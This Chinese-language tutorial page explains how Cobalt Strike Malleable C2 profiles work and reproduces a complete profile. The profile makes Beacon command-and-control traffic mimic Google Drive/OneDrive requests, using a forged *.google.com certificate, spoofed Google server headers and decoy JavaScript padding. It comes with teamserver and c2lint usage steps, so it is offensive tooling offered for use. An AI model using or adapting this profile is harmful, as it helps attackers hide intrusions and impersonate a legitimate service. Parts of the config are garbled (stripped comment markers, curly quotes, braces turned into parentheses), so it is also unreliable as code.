Malleable-C2-Profiles

profile文件介绍
Beacon的HTTP的indicators由Malleable-C2-profile文件控制，关于Malleable-C2-profile，它是一个简单的配置文件，用来指定如何转换数据并将其存储在transaction中，转换和存储数据的相同配置文件也从transaction中提取和恢复。
使用方法：./teamserver [external IP] [password] [/path/to/my.profile]
对于profile文件可以通过cobalt strike软件包中的c2lint文件进行检查，建议第一次使用的profile文件都检查一遍。
检查方法：./c2lint [/path/to/my.profile]
PS

每次修改data.profile文件后，都要重启teamserver和listeners。。。不然要出问题
data.profile
```
Make requests look like OneDrive web requests
#
Author: @ChrisTruncer

set https cert info

https-certificate { set CN “*.google.com”; #Common Name set O “Google Inc”; #Organization Name set C “US”; #Country set L “Mountain View”; #Locality set ST “California”; #State or Province set validity “365”; #Number of days the cert is valid for }

set useragent “Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko”; set sleeptime “30000”; set pipename “mojo.5688.8052.183894939787088877##”; set jitter “15”; set dns_idle “8.8.4.4”; set dns_sleep “0”; set maxdns “235”;

http-get { set uri “/scs/drive-static/js/3.14/“; client {

    metadata {
        base64;
        prepend "OSID=";
        header "Cookie";
    }
    header "Host" "drive.google.com";
    header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
    header "Accept-Language" "en-US;q=0.3,en;q=0.2";
    header "Accept-Encoding" "gzip, deflate";
    header "DNT" "1";
}
server {
    header "X-Content-Type-Options" "nosniff";
    header "X-Frame-Options" "SAMEORIGIN";
    header "Cache-Control" "public, max-age=31536000";
    header "X-XSS-Protection" "1; mode=block";
    header "Server" "GSE";
    header "Alternate-Protocol" "443:quic,p=1";
    output{
        prepend "try(";
        prepend "O(L.Oa(),\"sy580\")";
        prepend "N(L.Oa(),\"sy580\");P(L.Oa(),\"sy580\");";
        prepend ")catch(e)(_DumpException(e))";
        prepend "try(";
        prepend "O(L.Oa(),\"sy558\");";
        prepend "N(L.Oa(),\"sy558\");P(L.Oa(),\"sy558\");";
        prepend ")catch(e)(_DumpException(e))";
        prepend "try(";
        append "var f2=function(a)(a=a.wa;return\"application/chromium-bookmark-folder\"==a||\"application/chromium-root-folder\"==a||\"application/vnd.google-apps.folder\"==a||\"application/vnd.google-apps.photoalbum\"==a||\"application/vnd.google-apps.rollupphotoalbum\"==a)";
        append ",g2=function(a)(return a.ra),s8d=function(a)(return a?hb(a,function(a)(return new UP(a)):[]),h2=function(a)(switch(a)(case \"all\":case \"docs-images\":case \"docs-images-and-videos\":case \"docs-videos\":case \"documents\":case \"drawings\":case \"folders\":case \"forms\":case \"pdfs\":case \"presentations\":case \"sites\":case \"spreadsheets\":case \"tables\":return!0)return!1); O(L.Oa(),\"ak477\")";
        print;
    }
}

}

http-post { set uri “/drive/ui/1/“; client { parameter “ui” “s3212f5452”; parameter “hop” “3620521”; parameter “start” “0”; header “Content-Type” “application/x-www-form-urlencoded;charset=utf-8”;

    id {
        base64;
        prepend "OSID=";
        header "Cookie";
    }
    output{
        base64;
        print;
    }
}
server {
    header "X-Content-Type-Options" "nosniff";
    header "X-Frame-Options" "SAMEORIGIN";
    header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
    header "X-XSS-Protection" "1; mode=block";
    header "Server" "GSE";
    output {
        prepend "[[[\"apm\",\"";
        append "\"]";
        append ",[\"ci\",[]";
        append "]";
        append ",[\"cm\",[]";
        append ",[]";
        append "]";
        append "],'dkkasdh56sa0d45e1f']";
        print;
    }
}

}

```

Decentralized Alliance - 去中心化同盟

2.Malleable-C2-Profiles

Malleable-C2-Profiles

data.profile

Make requests look like OneDrive web requests

Author: @ChrisTruncer

set https cert info

profile仓库